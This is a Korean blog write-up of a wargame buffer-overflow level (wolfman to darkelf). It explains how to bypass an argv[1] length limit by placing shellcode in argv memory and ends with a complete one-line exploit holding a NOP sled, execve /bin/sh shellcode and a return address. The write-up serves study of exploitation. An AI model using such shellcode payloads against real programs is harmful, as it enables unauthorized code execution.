BOF redhat 원정대 wolfman -> darkelf
darkelf, darkelf.c
c 코드를 보면 이전 문제에서 argv[1]의 길이를 제한하는 코드가 들어가 있는 것을 알 수 있다.
이전문제에서 buffer를 초기화해주어서 RET 이후에 쉘코드를 넣고 버퍼의 주소로 RET를 덮어서 공격하였는데 이번에는 argv의 길이가 제한되어 있어서 뒤에 쉘코드를 추가 할 수 없다.
RET는 조작할 수 있지만 쉘코드를 올릴 공간을 찾아야한다. argv의 메모리에 쉘코드를 넣으면 된다.
code 내에서 argv를 배열로서 사용할 수 있으므로 분명히 메모리 어딘가에 올라가 있음을 알 수 있다.
argv의 주소를 찾아보자
메인에서 브레이크를 잡고 A 48개, B 24 개를 넣어보았다.
argv[0](darkelf, 6461726b656c66), argv[1], argv[2]가 모두 들어가 있는것을 볼 수 있다.
memset으로 초기화하는 부분은 메인함수의 지역변수인 버퍼 메모리임으로 여기는 초기화되지 않는다.
argv를 출력하는 코드를 작성하여 주소를 확인해보았다.
페이로드를
[버퍼][SFP][RET]..................[argv]
[ 쉘코드 ][RET]..................[쉘코드]
구성한다. RET을 argv자리의 쉘코드 주소를 넣는다.
페이로드를 작성하고 공격하면
성공적으로 쉘을 얻을 수 있다.
쉘코드 :
./darkelf `python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x51\xfc\xff\xbf"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
라이브러리 로딩 - ld.so.conf 라이브러리란 무엇인가? 프로그램에서 공통으로 사용할 수 있는 기능을 포함하고 있는 오브젝트 파일이다. 동적 라이브러리란 무엇인가? 프로그램을 컴파일하여 생성되는 바이너리에 포함하지 않고 바이너리가...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
1. SMC 초기화 - 컴퓨터 종료 - MacSafe 전원 아답타 연결 - 내장키보드의 왼쪽에 있는 shift + control + option 키와 power 키를 동시에 누름 - 눌렀던 키 모두를 동시에 놓음 - 컴퓨터를 킴 2. M...
-
스택 자료구조는 LIFO(Last in First Out) 구조로 마지막에 들어간 값이 가장 먼저 나오는 구조를 갖고 있다. CPU는 PUSH, POP어셈블리어 명령어와 esp, ebp 레지스터를 이용해서 스택을 관리하고 스택에는 지역변수와 임시 데...
0 개의 댓글:
댓글 쓰기